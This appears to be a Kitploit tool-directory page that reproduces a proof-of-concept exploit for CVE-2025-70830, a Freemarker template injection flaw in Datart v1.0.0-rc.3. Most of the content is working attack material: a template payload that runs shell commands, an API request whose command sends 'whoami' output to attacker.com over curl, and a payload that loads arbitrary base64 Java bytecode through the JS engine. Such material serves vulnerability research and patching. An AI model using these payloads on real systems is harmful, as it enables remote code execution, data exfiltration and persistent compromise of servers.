Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-70830 — A Server-Side Template Injection (SSTI) vulnerability in the Freemarker template engine of Datart v1.0.0-rc.3 allows authenticated attackers to execute arbitrary code via injecting crafted Freemarker template syntax into the SQL script field. | Kitploit
Tools/GitHubGitHub/xiaoxiaoranxxx/cve-2025-70830
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubxiaoxiaoranxxx/cve-2025-70830

CVE-2025-70830

A Server-Side Template Injection (SSTI) vulnerability in the Freemarker template engine of Datart v1.0.0-rc.3 allows authenticated attackers to execute arbitrary code via injecting crafted Freemarker template syntax into the SQL script field.

View Repository
526 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-70830: Datart Server-Side Template Injection (SSTI)

Vulnerability Overview (Overview)

  • CVE ID: CVE-2025-70830
  • Affected Product: Datart
  • Affected Version: v1.0.0-rc.3
  • Vulnerability Type: Server-Side Template Injection (SSTI) - Server-Side Template Injection
  • Risk Level: Remote Code Execution (RCE)

Vulnerability Description (Description)

The Freemarker template engine in Datart v1.0.0-rc.3 has a Server-Side Template Injection (SSTI) vulnerability. An authenticated attacker can inject malicious Freemarker template syntax into the SQL script field to execute arbitrary system commands.

Reproduction Steps (Proof of Concept)

1. Prerequisites

  • Log in to the Datart system.
  • Be able to access and edit a data source with SQL execution capability.

2. Payload Construction

In the SQL script/query editor, enter the following Freemarker Payload to execute system commands (e.g., id or calc):

root@kitploit:~
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["bash","-c","id"])>
${pb.start()}
SELECT 1

Click to execute the script, and the server will execute the command in the background.

3. HTTP Request Example

The request packet to trigger the vulnerability via API is as follows:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "sourceId": "valid_source_id",
  "script": "<#assign ob=\"freemarker.template.utility.ObjectConstructor\"?new()><#assign pb=ob(\"java.lang.ProcessBuilder\",[\"bash\",\"-c\",\"curl http://attacker.com/`whoami`\"])>${pb.start()}SELECT 1",
  "scriptType": "SQL",
  "size": 100
}

Advanced Exploitation

Load Custom Bytecode (Load Custom Bytecode)

Attackers can use Java's javax.script.ScriptEngineManager to invoke the JS engine to load and execute arbitrary Base64-encoded Java bytecode.

Payload Example:

root@kitploit:~
POST /api/v1/data-provider/execute/test HTTP/1.1
Host: target.com:8080
Content-Type: application/json
Authorization: Bearer {VALID_TOKEN}

{
  "script": "<#assign ob='freemarker.template.utility.ObjectConstructor'?new()><#assign sem=ob('javax.script.ScriptEngineManager')><#assign engine=sem.getEngineByName('js')><#assign result=engine.eval('var classLoader=java.lang.Thread.currentThread().getContextClassLoader();var className=\"org.apache.shiro.coyote.deserialization.impl.UnwrappedPropertyHandler\";var base64Str=\"yv66..\";try{classLoader.loadClass(className).newInstance()}catch(e){var clsString=classLoader.loadClass(\"java.lang.String\");var bytecode;try{var clsBase64=classLoader.loadClass(\"java.util.Base64\");var clsDecoder=classLoader.loadClass(\"java.util.Base64$Decoder\");var decoder=clsBase64.getMethod(\"getDecoder\").invoke(null);bytecode=clsDecoder.getMethod(\"decode\",clsString).invoke(decoder,base64Str)}catch(ee){try{var datatypeConverterClz=classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");bytecode=datatypeConverterClz.getMethod(\"parseBase64Binary\",clsString).invoke(null,base64Str)}catch(eee){var clazz1=classLoader.loadClass(\"sun.misc.BASE64Decoder\");bytecode=clazz1.newInstance().decodeBuffer(base64Str)}}var clsClassLoader=classLoader.loadClass(\"java.lang.ClassLoader\");var clsByteArray=(new java.lang.String(\"a\").getBytes().getClass());var clsInt=java.lang.Integer.TYPE;var defineClass=clsClassLoader.getDeclaredMethod(\"defineClass\",[clsByteArray,clsInt,clsInt]);defineClass.setAccessible(true);var clazz=defineClass.invoke(classLoader,bytecode,new java.lang.Integer(0),new java.lang.Integer(bytecode.length));clazz.newInstance()}')>SELECT 1",
  "sourceId": "valid_source_id",
  "size": 1000,
  "scriptType": "SQL",
  "columns": "",
  "variables": []
}
Download Tool